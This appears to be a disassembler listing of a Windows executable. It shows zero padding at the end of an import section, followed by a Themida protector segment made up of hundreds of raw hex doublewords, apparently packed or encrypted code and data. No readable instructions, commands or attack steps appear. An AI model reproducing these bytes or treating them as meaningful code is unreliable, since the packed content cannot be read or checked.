db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000E1000 ( 921600.)
; Section size in file : 000E1000 ( 921600.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4E0000h
dd 54685BF0h, 41B86h, 5444Eh, 95172h, 0
dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h
dd 0EB611375h, 372DDB45h, 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
dd 0E840h, 25580000h
db 0
byte_4E0049 db 0F0h, 2 dup(0FFh) ; DATA XREF: ___:004380F4o
dd 0BB66FF33h, 83665A19h, 396634C3h, 0F127518h, 33C50B7h
dd 44E9BBD0h, 0C3830000h, 741A3967h, 10002D07h, 0DAEB0000h
dd 0EAE9F88Bh, 3000001h, 26AB9C7h, 0CF03000Eh, 0CEB80AEBh
dd 0B90053E5h, 4E026Ah, 84E85150h, 0E8000000h, 0
dd 262D58h, 0EFB90000h, 0C6000001h, 0E983E900h, 1488905h
dd 1AFE961h, 93280000h, 7888E4C9h, 0DA6E5EBCh, 3D630BCFh
dd 0D85F1F80h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
dd 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh
dd 1D3B76EDh, 564635CCh, 0F28784C5h, 78F2E432h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh
dd 93264C98h, 60F2E4C8h, 2424748Bh, 28247C8Bh, 8A80B2FCh
dd 7884606h, 2BB47h, 0D2020000h, 168A0575h, 73D21246h
dd 75D202EAh, 46168A05h, 4F73D212h, 0D202C033h, 168A0575h
dd 0FD21246h, 0DF83h, 75D20200h, 46168A05h, 0C013D212h
dd 575D202h, 1246168Ah, 2C013D2h, 8A0575D2h, 0D2124616h
dd 0D202C013h, 168A0575h, 13D21246h, 570674C0h, 78AF82Bh
dd 4707885Fh, 2BBh, 0B89BEB00h, 1, 575D202h, 1246168Ah
dd 2C013D2h, 8A0575D2h, 0D2124616h, 0C32BEA72h, 1BBh, 0B9287500h
dd 1, 575D202h, 1246168Ah, 2C913D2h, 8A0575D2h, 0D2124616h
dd 8B56EA72h, 0F3F52BF7h, 4FE95EA4h, 48FFFFFFh, 8A08E0C1h
dd 0E88B4606h, 1B9h, 75D20200h, 46168A05h, 0C913D212h
dd 575D202h, 1246168Ah, 3DEA72D2h, 7D00h, 3D1A73h, 72000005h
dd 8B56410Eh, 0F3F02BF7h, 0FE95EA4h, 83FFFFFFh, 3777FF8h
dd 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEFAh, 3346068Ah
dd 1E8C0C9h, 0D1831774h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h
dd 1, 0FFFED9E9h, 247C2BFFh, 247C8928h, 8C2611Ch, 0E364E900h
dd 38E90005h, 1563344h, 35C8BBFEh, 0BCAF42B8h, 3E848B36h
dd 240129FFh, 7701A15Dh, 70211157h, 52E05D8Dh, 39747365h
dd 419C7261h, 9F2E5E70h, 0BF433878h, 0DC3B5BBBh, 5B0133CAh
dd 54F07A84h, 6D0B6568h, 0BF616469h, 1685548h, 172471D7h
dd 22795708h, 5E3DC21Dh, 1FC29245h, 7011917Fh, 45FEF785h
dd 573DC298h, 8F707191h, 3CC43D7h, 2BBA7B84h, 1680801h
dd 300E5CFFh, 10312D34h, 728BFCBFh, 60D41CC5h, 5D0022E8h
dd 3353ED81h, 72890935h, 0D266195h, 101049B5h, 800AF985h
dd 1520BD83h, 1C74E003h, 8BE88B0Ch, 7111B8E2h, 701CEFC2h
dd 3E712444h, 6A002DD1h, 0A360E845h, 749A6829h, 50077A83h
dd 1E250ADFh, 910A894Bh, 14E90AD5h, 0D057EC02h, 0EC0A8B55h
dd 0EED8C483h, 0EA815AC0h, 8B344041h, 45C7DA09h, 18081BD8h
dd 889400Eh, 80FC7D81h, 0F741DC6h, 24087F20h, 9810AB83h
dd 0EB4312FFh, 0DC36E163h, 14267461h, 4604C2C9h, 7CC48106h
dd 498E02FFh, 18D8A44h, 5D8B8045h, 4485C708h, 8D504A19h
dd 0C3D1000Ah, 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h
dd 64BA8D28h, 800475ECh, 0F4BB0E8Ah, 0F8B85B93h, 3F785437h
dd 0F30D0D3h, 0F7754B08h, 0C314AFECh, 914A4647h, 42F98A46h
dd 8A61D18Ah, 0F01DD0E8h, 45EE627Fh, 0EB4D82FCh, 23AD8F04h
dd 143E8046h, 84BAF740h, 7D9834DBh, 7F64EB0Ch, 6D33F83Eh
dd 32F01221h, 10A0F40Eh, 0F065C14Ah, 0F8D60450h, 3E0D10Eh
dd 332858C2h, 1C8A07DBh, 33FB8030h, 0A0F0A72h, 4F057739h
dd 2299BCEBh, 0DFD6114h, 0DB660A9Fh, 0D3D71E08h, 10AB0AC3h
dd 72411A0Ch, 37460A0Bh, 0A8240677h, 0F05D0186h, 83F41CECh
dd 7202C67Dh, 0C0CD0CB0h, 0AAD9A576h, 73F82690h, 80DA8D81h
dd 0FC553BA8h, 78822A0Fh, 6FB070BDh, 0BA9438AAh, 0B9380838h
dd 10FC702Ah, 35D0BDh, 49470FFEh, 71B9FA75h, 386A7722h
dd 1BFD01BBh, 0CEB82F1h, 868E60C7h, 360E37EDh, 1D65510Ah
dd 0E5FE1D77h, 70A268Ah, 590005E9h, 0A614BC67h, 6F617C51h
dd 5D611909h, 9C13382Eh, 62C82C22h, 1EC43C5Ch, 0C7226900h
dd 947CD7F6h, 0CF86A08Dh, 0BA0F0125h, 0E941A528h, 0F82F800Eh
dd 92856B1Eh, 0AEB401DFh, 0F6565B47h, 10A8D324h, 9DD10F89h
dd 0D2310242h, 60DD157Ch, 35B86F0h, 67C32C62h, 0CE28D98Ch
dd 10CF98F1h, 34CB46DAh, 3982000Eh, 0F765B4Eh, 510FB810h
dd 8ED1043Dh, 5C46CC3Bh, 2E093A75h, 480E11B0h, 6514E4ECh
dd 808D0690h, 8E05C584h, 0AA52E196h, 42A3C53h, 8C0629C2h
dd 0E7820571h, 98A6DD0Eh, 77812BFFh, 1D220460h, 0C84C134h
dd 207533F9h, 0BB833FBCh, 39EFB30Ah, 419C0230h, 7F8C4CECh
dd 40FCFFCCh, 52457F86h, 628060E9h, 4D8C52C4h, 82112504h
dd 0AB26B1AAh, 13845A68h, 108C5644h, 0EE820A5Eh, 2881380Bh
dd 8AC94431h, 13A2B9FAh, 28972305h, 86371043h, 0C0601304h
dd 0E68D67DAh, 0E28128F9h, 0CAC40394h, 0B2DCCECh, 1F4430AEh
dd 0BBFA0F61h, 7223C5F1h, 1AF1C862h, 284981Dh, 3DC8225h
dd 3D1B7946h, 172930EAh, 443D16F6h, 5051FE6Bh, 392148E9h
dd 8A0DC459h, 988C2545h, 41211D09h, 0B9C40751h, 0B099C88Ch
dd 21BAC2F8h, 0CA868A0Ch, 60EA5C0Fh, 0E8F02F0Dh, 0D7007381h
dd 727B6F1Bh, 18AC9EA8h, 250C8A10h, 0BC107EAh, 0BC25429Ch
dd 5088A2E1h, 0E914177Eh, 0C75B0111h, 0FA6062B9h, 48CC7420h
dd 0CF1F6A5Fh, 6CA54A82h, 4AF28080h, 2C77280Eh, 0FB22C167h
dd 0E9313501h, 0D0E23C40h, 703777CEh, 6BA93C99h, 0C282EC80h
dd 54BDE6EEh, 13C65A48h, 2C00FBC0h, 7CE5C918h, 0C250C561h
dd 81EC20EAh, 0E7EE2BE6h, 0C3826201h, 383B948Eh, 60A82630h
dd 36F61472h, 0B6C121ABh, 7158AFFh, 0D2FCDD25h, 890E1DA7h
dd 0F3E98F3Dh, 0C06CC0E7h, 133F22D0h, 0C131427Ch, 0BE919EFh
dd 7FBE7984h, 4006877Eh, 0B24D89A7h, 5CD08C02h, 4305F982h
dd 1F8284D6h, 0EA26C87Fh, 0E63DC008h, 0FE5D9715h, 7FA7290Fh
dd 9625A032h, 18B6BE88h, 100A34A6h, 42219E28h, 8C5F00C8h
dd 362C47BAh, 0A2502E1Eh, 609871C3h, 0F533C061h, 9F5A0C22h
dd 0FF3001B7h, 0DFE28908h, 951F0F16h, 8CB31E0h, 0BA05798Ch
dd 97AF1027h, 8F24F480h, 0A2861889h, 2B2E70A8h, 50013D33h
dd 0F43ACBDh, 310AA2ADh, 0C0787A5h, 3D22B41Dh, 49867399h
dd 2109E8F6h, 66A4A700h, 81E2E11Bh, 0BA2A0C6Ch, 0F7982797h
dd 60EA5F3Ah, 91FE7C41h, 0C9710003h, 0C7B3FCE4h, 2D60268Ch
dd 438B62B8h, 0B2101160h, 8521069Ch, 18D93566h, 593007DAh
dd 490C4502h, 890FE8BAh, 8FB600F9h, 5417FCE9h, 0D8000CA3h
dd 146DCA5Eh, 44870F26h, 30A00D30h, 0B500CCCBh, 51804CE1h
dd 0A8142134h, 0C010E8B0h, 84358659h, 3D003F06h, 658D9041h
dd 3CCA279Ch, 0F55C66FCh, 81B94F03h, 5900A40Eh, 6B22E84Ah
dd 3159C5Ch, 35ED37B4h, 62C8A272h, 29CFA60Eh, 0AD6CA312h
dd 1F2BA0B1h, 0DDF5003Ah, 0F8094859h, 401F2129h, 8D451E79h
dd 84054E1Ah, 0F0006904h, 552B5061h, 32E4A024h, 0B22E28B6h
dd 388666F0h, 144D019h, 85410CF7h, 0A211087Fh, 0B5FCEF01h
dd 51BA31E6h, 28DACC30h, 0FCB02863h, 0AA8A0C60h, 7F103817h
dd 6A390B60h, 187AEAh, 5EA18FF3h, 0EEE4656Dh, 2B8B0E15h
dd 915526B0h, 8A982E18h, 0A59D1471h, 6089D486h, 21416806h
dd 0EA8E880Ch, 1219B9B0h, 211A1DC6h, 80127F34h, 1CAC4C79h
dd 1C89A49Ch, 808463AAh, 0EFE06C7Dh, 7548063Bh, 71531D1Ch
dd 810E58B1h, 12F14849h, 0FBAEF401h, 0DDC040A5h, 5609BFCCh
dd 7387B004h, 2C900338h, 0C3318D0Eh, 6183341h, 85188970h
dd 0D0B0C446h, 50B474BFh
dd 148ECC4Bh, 981CEFE2h, 2A94247Ch, 21AE835Ch, 0D0084399h
dd 0AE98Eh, 4E0233FFh, 419001FEh, 75A7F61Ch, 5C2058E6h
dd 6F1C3338h, 0EFBD00A8h, 3F0A40h, 239AAE62h, 5CBAA2Ah
dd 294170C3h, 40C2EB9Eh, 40798498h, 0AE71FB0Bh, 76AD5F0h
dd 0BE849C10h, 0C04011E8h, 0B2B4C1F6h, 74341601h, 6FA705E0h
dd 0A4B5F30h, 0F421AC4Ah, 95378118h, 0D8C82D02h, 32000661h
dd 0F391CE58h, 0E092D5B4h, 21C91B2h, 5D82BD19h, 9A018480h
dd 80CAC6A6h, 9681C0B2h, 0D369B68Ch, 7C00B8BCh, 0DA28AE56h
dd 0BC012923h, 0AA8BDF21h, 50871733h, 0D075C01Ah, 717606D0h
dd 0C131ED00h, 5FFD0BD3h, 52913A50h, 490258BBh, 0BFC9F68Ch
dd 3242D7E0h, 63AFC207h, 6C40EB8Ah, 778B09B6h, 1EF6E467h
dd 170A736Eh, 781FCBh, 794AF317h, 7600CE94h, 34C7C910h
dd 74E5F8h, 0F7681CD6h, 0C158B0D2h, 0FC0035E2h, 0D17FC28Ah
dd 583475CFh, 29029CF4h, 377E8595h, 94EA8083h, 8326F8C6h
dd 1208C892h, 69211CBBh, 962D0814h, 0F191CA07h, 3CA01EF0h
dd 76F609CCh, 6C188D0Fh, 2C40A923h, 0AA043FF8h, 0F940AA8h
dd 21F72B92h, 189054DEh, 1334D04h, 0AE650206h, 0DA2C6085h
dd 0E4108031h, 0C2615E00h, 0E95F9805h, 0B539C02Ah, 27F10B38h
dd 8E849F0Ch, 0D603042h, 31892328h, 8010DF50h, 58620507h
dd 97034D82h, 26E01885h, 0A8A9694Bh, 7E240092h, 8380AC0Ch
dd 0F68B0BBDh, 0DA2F00B7h, 0A574529Dh, 3426625Eh, 0E8454017h
dd 7A4C88h, 45C52DFh, 0EE943CCh, 6EAA19C0h, 448E06h, 0B275BA1Bh
dd 0DF6270F1h, 23E2B004h, 0C8881A25h, 9ABC2AC7h, 0AC8A4CBCh
dd 0E4611B00h, 7D77DE1Eh, 0F095F726h, 62CF2103h, 0CA32A8D1h
dd 0C53319AEh, 20FDF830h, 185023BAh, 64881450h, 0A8790F6Bh
dd 4A637D6Fh, 0EF081AAh, 3100DFF4h, 0FF71C170h, 3434D1CFh
dd 0C241B519h, 0E5203998h, 0FCF3C7h, 1973F704h, 0F4CE6E36h
dd 66891F00h, 0A0C57C4Dh, 986770Eh, 28A810D0h, 8AA518A1h
dd 0E9898D18h, 5EC5137h, 0B72B0080h, 82444B72h, 2230788Dh
dd 5620DC5Bh, 281E260h, 9E235801h, 0CC6297A2h, 0F8A73002h
dd 77FDCA2h, 0E60BF420h, 506F146Ch, 0E4221462h, 0CAFE8E03h
dd 2C881F34h, 882C9510h, 0F7002A9Fh, 8B45C582h, 700C98C7h
dd 0B9E98B92h, 1CB98126h, 959A8D23h, 882F9024h, 70006B58h
dd 0E66A1FBBh, 703DA81Eh, 0A5060BF5h, 60900D84h, 97889CABh
dd 479232B4h, 2C66C748h, 0CCF8962Ch, 1900A311h, 33A57970h
dd 0EE03E8DEh, 0DDC9C15Ah, 7CC0A599h, 92429CBFh, 1C97541Ch
dd 94DC009Ah, 5F733ED3h, 0CE02B5D4h, 4FD65C9Ch, 0FC444EAh
dd 6AF7A9Fh, 0F695DCC1h, 115DF4AEh, 0B61088B2h, 8505D566h
dd 8C8A0F8Bh, 80841B08h, 4108B2A4h, 0EE44303Fh, 9F432945h
dd 18763Dh, 145A868Dh, 1B34015Bh, 880264B1h, 2A336BEh
dd 0A0466624h, 84501400h, 0FB55186Fh, 77A073E8h, 83872EC3h
dd 422F6320h, 0BB710DD0h, 0C36B6609h, 9D2881F6h, 0EA013776h
dd 71B98032h, 4AAC6AEEh, 5A1400BFh, 0B4B09D9Ch, 8A55F7B3h
dd 11586078h, 0E048E889h, 4D31CE1h, 6C774046h, 12B6333Ah
dd 808C9529h, 283A586h, 50F80A31h, 20E956h, 0AD4632CBh
dd 1000BF76h, 0E7DE41C5h, 0B0FE8C0Fh, 0F9DB44C8h, 0F4BC5704h
dd 1889A610h, 8F86AC05h, 80B34CD0h, 4796BC0Ch, 0D88AEE1h
dd 6031C09Eh, 5B795275h, 0F97EBA00h, 4E61C1C8h, 81DB9853h
dd 0FC3028F0h, 9BAA839Ah, 20B8EFE3h, 0DE4B9689h, 0A70E1006h
dd 14C7051h, 296FF218h, 0D4E077D2h, 1B00829Ah, 0BEDE7A40h
dd 9985CD89h, 7B3A80A4h, 0D72A32E1h, 0EF00277Ch, 814A985Fh
dd 25E1DC1h, 21834489h, 0E468FABDh, 60F8F862h, 973CB103h
dd 24C3E9Ch, 7D85A19h, 0E443BDD2h, 17F968D6h, 7C8CCD71h
dd 90B651E4h, 847527h, 865909BAh, 0AA10D1A0h, 0F6C91260h
dd 676E9E88h, 70D8E0BEh, 7F854C61h, 394891h, 0E145652Ch
dd 4D1BAEF7h, 6002B0BDh, 1243447h, 0DA8AFB20h, 0FC1B50CFh
dd 6888EDA1h, 0A504FEB5h, 90B20785h, 6529FB32h, 0A066B082h
dd 0B604C059h, 0E0B9752h, 0AE294810h, 0F498A91Dh, 31C0201Ch
dd 0E3604137h, 0EDEC1838h, 0B51FB1C8h, 94489E28h, 0ABDE6102h
dd 0E09F9B1Dh, 9A86E004h, 0ACB0223Ch, 806C7F48h, 662B39B6h
dd 527C0FB8h, 9243AA82h, 0C2890D85h, 8BC77188h, 138C0E28h
dd 9A5F304h, 15C22D49h, 7DDF9E80h, 0E010C50h, 1BEBD07Ch
dd 98CCB243h, 8809439h, 338A3190h, 8A4FB416h, 4B8908Fh
dd 29211BADh, 0BA863CD0h, 481083A2h, 15703E68h, 94C20685h
dd 353B9C22h, 26FABA2Eh, 8308E822h, 0F07E1E26h, 0DA165C69h
dd 0F9081100h, 0B1CED7Fh, 7859399Eh, 4E8CE481h, 0F8F066A9h
dd 171E1BD0h, 98F08AC2h, 605FB209h, 0BFC1502Dh, 95128054h
dd 4081134h, 82658005h, 5F8D4AE6h, 7CBF6C9Bh, 5CCCA641h
dd 98A71F43h, 0F28E05D0h, 0C40C01BAh, 310858E7h, 0EB02204h
dd 5809332Fh, 0F780F8h, 3AF9BC48h, 358975B0h, 87A52712h
dd 23F064C9h, 28074065h, 0A078D1h, 66E81786h, 0E61E5961h
dd 195318B0h, 0BEB2282Fh, 62C020C4h, 9060BC4Eh, 8EA632A8h
dd 949822B0h, 4A860F3Ch, 0C0BC1810h, 6FE84971h, 0C2601D09h
dd 1D8C85CAh, 5F0438BEh, 0F6588h, 83BDFF4Bh, 70523BA4h
dd 67C71003h, 3FE8BD7h, 6CC11D18h, 40001C6Dh, 0DC53A052h
dd 7008245Fh, 91F50080h, 9A210B55h, 1602074Dh, 0E4DEF3A9h
dd 3BA800C0h, 58DF5451h, 4B68623Bh, 0F2A00CCh, 6F80C9B8h
dd 99ED6066h, 5285D496h, 61059907h, 804FEC9Ah, 2170AD47h
dd 1130AF16h, 907E003Fh, 8BF01B45h, 2CBDF656h, 76B8070h
dd 1C3BA299h, 2060ED29h, 0BCBD4BE1h, 0D0036198h, 0EAD68C7Eh
dd 0F612881h, 0A28C5087h, 19003196h, 18F471D6h, 80CD57B0h
dd 51F92845h, 0A16D6708h, 9D4FACD9h, 4D40FEh, 0EA36456Eh
dd 0E5E1AB5Dh, 433B9A18h, 58B9EC79h, 0DE30DEDAh, 3B268C21h
dd 2759EA60h, 50239AACh, 18051842h, 80A820B8h, 1832703Dh
dd 217770D6h, 0E8A97DA4h, 0BA009C33h, 6065ACCCh, 331DA6CBh
dd 18C0B871h, 27DF4104h, 20903823h, 2A2C6B45h, 1A82A46h
dd 7D1EF9D0h, 70F3BE43h, 0F0A44B6Ah, 98E76729h, 3AD1211Dh
dd 0EA23A106h, 0FF0050C7h, 11528E84h, 278904h, 0C44878FBh
dd 31F2F579h, 368A1C00h, 86F32F8Eh, 7B083F1Dh, 0FFC7379h
dd 6352CDB0h, 0C61645E0h, 0D772F85h, 6874FA00h, 27ECF1E7h
dd 0AB170051h, 3180E93Fh, 75317A0Dh, 0CFB24004h, 760FDh
dd 31476C5h, 80FA813Ch, 0E006E96Ch, 0F0324F33h, 73B5006Bh
dd 0BA8B0D2Dh, 4307FD36h, 763DCFC5h, 0F8FA3EF0h, 1140A77h
dd 45ECF481h, 0BE046A8Ch, 449F854h, 1A75F817h, 73D88003h
dd 0FE00EB5Fh, 0F1921BDFh, 0E66E8Fh, 79FF30C5h, 7B0B04B3h
dd 4CD0C901h, 1641BB24h, 0FB304081h, 0C892313Bh, 2CE406DDh
dd 7F404F00h, 2580E160h, 0CCB048h, 0BD811514h, 8D184DB3h
dd 6FFA40C7h, 780EFCE4h, 0E2F3F240h, 3E004F27h, 73EA7283h
dd 77E3A19h, 965148B3h, 653C50B9h, 4C0742BCh, 0E196F0Fh
dd 72764A90h, 98F0E2F3h, 94E94838h, 4BE8BAh, 2B7B06FAh
dd 74FB8DFDh, 80E0313Ch, 394F26E3h, 0B56087h, 80FF2D83h
dd 91124A79h, 10CAB001h, 1648B976h, 276EF4h, 0C4348540h
dd 0DFF0EB68h
dword_4E109C dd 4A7C5A07h, 88705B79h, 2264E4h, 850C50E8h, 2414C9CBh
dd 1848B803h, 2A7DF9h, 6BC44E40h, 5AE506E6h, 8B369200h
dd 0F27CE774h, 0BD8018FBh, 0BACB8804h, 80765139h, 89F9050Eh
dd 18C4014h, 0E66A9148h, 6668E504h, 81A0AE8Ch, 11004AC5h
dd 0E2F7BC6h, 744D8Eh, 3101F15Dh, 90654F68h, 227640h, 36BC800Ch
dd 0CE7E7910h, 8E775102h, 0C003114Ch, 7D059Eh, 0E1618B34h
dd 8A2EF109h, 0C8353Fh, 7F281EBh, 246C27Eh, 0CD901E0Ch
dd 0D840233Ch, 7600F815h, 3D87FF29h, 73F63188h, 4F1B00FCh
dd 0E0618F63h, 909F272h, 8045798Dh, 4DCBBB54h, 0E800060h
dd 1375FE20h, 31007A40h, 0EEB46C90h, 164828E2h, 85CC845h
dd 3B8027ACh, 0C9CC7B14h, 8D88A412h, 6ED8FF04h, 9FA20002h
dd 0C8A4FA48h, 76050E4Ah, 0B8BE51A9h, 0ADC0342Ah, 0C8EA4494h
dd 0DF51BD00h, 9E4A9F7Ch, 576C70B5h, 230C1CD9h, 4310A041h
dd 243096F8h, 13FD211Ah, 0A4B60127h, 9C90CC0Ah, 2008ADFAh
dd 270C5B18h, 0A0760F6Ch, 7C807925h, 4785F797h, 1A1B3E00h
dd 0C30CE1ABh, 0A5F40EE5h, 3C14091Dh, 947D3860h, 9A175903h
dd 8870BECh, 0D121BCh, 8B077D6Eh, 17A56A21h, 6DC7F506h
dd 580847h, 273FDD05h, 9DC64430h, 1F980D00h, 0BE245FCAh
dd 9A83007Dh, 105C7233h, 0A00CE8C7h, 38970E2Ah, 80B0B636h
dd 2CF3F765h, 0D60A83BCh, 1CB4908Dh, 0D418F0CFh, 53A8F91Ch
dd 80DB603Dh, 723CF3C7h, 60058A16h, 0A2C2F6F7h, 0EAF08B7Eh
dd 0BF363D1Fh, 3AECA36Dh, 7E0FEC4Fh, 20667005h, 0DAB7C8C4h
dd 0A8611301h, 0D069BA01h, 0EC5208BDh, 3173BF3Bh, 0AA0E5DDh
dd 0A1891063h, 14C9EE1h, 0FE035E45h, 0D4ACE4AAh, 2B306EF0h
dd 83D68004h, 843614DCh, 671B3C20h, 6CE861DDh, 5C6069DBh
dd 368BFE5Ch, 0A2230042h, 0C376719h, 43065616h, 0B8A68959h
dd 8A0E0041h, 8EBAD3D6h, 881DA2BCh, 9601BB59h, 28A0078Fh
dd 8094F0CAh, 0EA2F64h, 627188BDh, 7ACAF420h, 0D7C1E800h
dd 0D49F37DEh, 0BAA402BCh, 0F1DA6CCh, 7404184Ch, 6903927Dh
dd 0CB218262h, 1CD47D6Ch, 444090A9h, 0B8390517h, 0DE886113h
dd 8ECED9E3h, 3928A88Ch, 5D3BA805h, 1A806C5h, 927B5189h
dd 9F50C00h, 94AA59BFh, 0BB630352h, 994D56ACh, 57C2C4A9h
dd 9A6FC084h, 3100E2B9h, 0C3CFF42Fh, 150B55h, 0DE019061h
dd 0D104DF5Fh, 0D483BD1Dh, 74FEF383h, 8F103099h, 0CC94F79Eh
dd 7A9A10C0h, 149CB2E5h, 50306C8Dh, 78FF6182h, 0AD00ACF8h
dd 6CBC0F45h, 9F9BE35h, 0FC8FA932h, 609AE404h, 23BA270Fh
dd 3411EAA4h, 27085F00h, 6760F16Eh, 47573A1Dh, 902DE7CAh
dd 0E41BA605h, 0BDC5D206h, 939E00F1h, 7547764Dh, 3F5F2170h
dd 21D5E00Ch, 4D9B00F9h, 27EFCD7Fh, 0F035DF5h, 26530219h
dd 68C80185h, 5E712E3Eh, 0E8E6C4A0h, 0DFEF050Ah, 2B1DD888h
dd 5E470A60h, 84D4215Bh, 532C3BDEh, 0B8AC4D0h, 0EECA00E2h
dd 64353F01h, 0C1116D4Fh, 63F8E6Ah, 7C024888h, 10727980h
dd 12B686Bh, 4A7A7D81h, 4074866Ah, 9003CDEBh, 809FF636h
dd 2BE46F8h, 47734D8Eh, 10D6319Dh, 144D96FCh, 827E3EBDh
dd 4569D807h, 3B5EC211h, 78D2DC40h, 0A089C1C3h, 0DE390CF2h
dd 6CA17B01h, 265CD300h, 0B4EF7C65h, 0A40700FEh, 11069F58h
dd 29FCA54Bh, 9AAB2A06h, 4548EE76h, 0C2B09116h, 774D9280h
dd 448C7D47h, 9A6AF8D3h, 0F500ADD0h, 654B6D93h, 1EF18DDh
dd 239D9183h, 0AED5F100h, 0E5EBBF0Eh, 2920B195h, 18C8D10Ch
dd 15B609D1h, 90A4ECDEh, 0AFD73228h, 3FB887ECh, 0AF78F813h
dd 0C140F87Ah, 90BD0FFFh, 403D5280h, 6130CAE2h, 5730B29h
dd 182823A0h, 0D3465C24h, 7B084F00h, 0E3EE8D96h, 0C626F801h
dd 0A0BCFF5Fh, 52FAA08Fh, 9840E55Fh, 451F1B4Ch, 0EED20319h
dd 2ED83040h, 7D783982h, 0F6E0EE9h, 0F7A02669h, 147297EFh
dd 60A49A95h, 505B5583h, 4A49827h, 1368FDD4h, 2304C13Dh
dd 12CC5029h, 0C7399BC4h, 336000B8h, 40EFA2B7h, 0EC00953Ch
dd 8FB9C4FCh, 14369981h, 0B3271602h, 313102A4h, 24605C12h
dd 2B13D669h, 48428276h, 999ACF7h, 95795401h, 0A12EF015h
dd 0ED5EAA0Eh, 4C6F5219h, 0CAA4E900h, 0EF8D4C4Ah, 0B9103C01h
dd 0C6040F61h, 24339434h, 67A8795Ah, 264831h, 5947715h
dd 0FE5324ACh, 201D9895h, 3C18CED0h, 9A90C0DFh, 563BB883h
dd 0AD28CB81h, 60084004h, 23937D77h, 0C43D5103h, 7D6F00D2h
dd 67666DCh, 5D00964Bh, 45A6609Ah, 0E8FD057h, 985334A4h
dd 8169C145h, 71D5A70Ch, 4133E0CDh, 0E108ACACh, 52D3180Fh
dd 186A1CC1h, 34DA58B5h, 701CB82Eh, 0A8ECBDA7h, 0D6523F04h
dd 98C18B8Eh, 0E0A43CE0h, 5F4D0150h, 203BF3F5h, 48C9708h
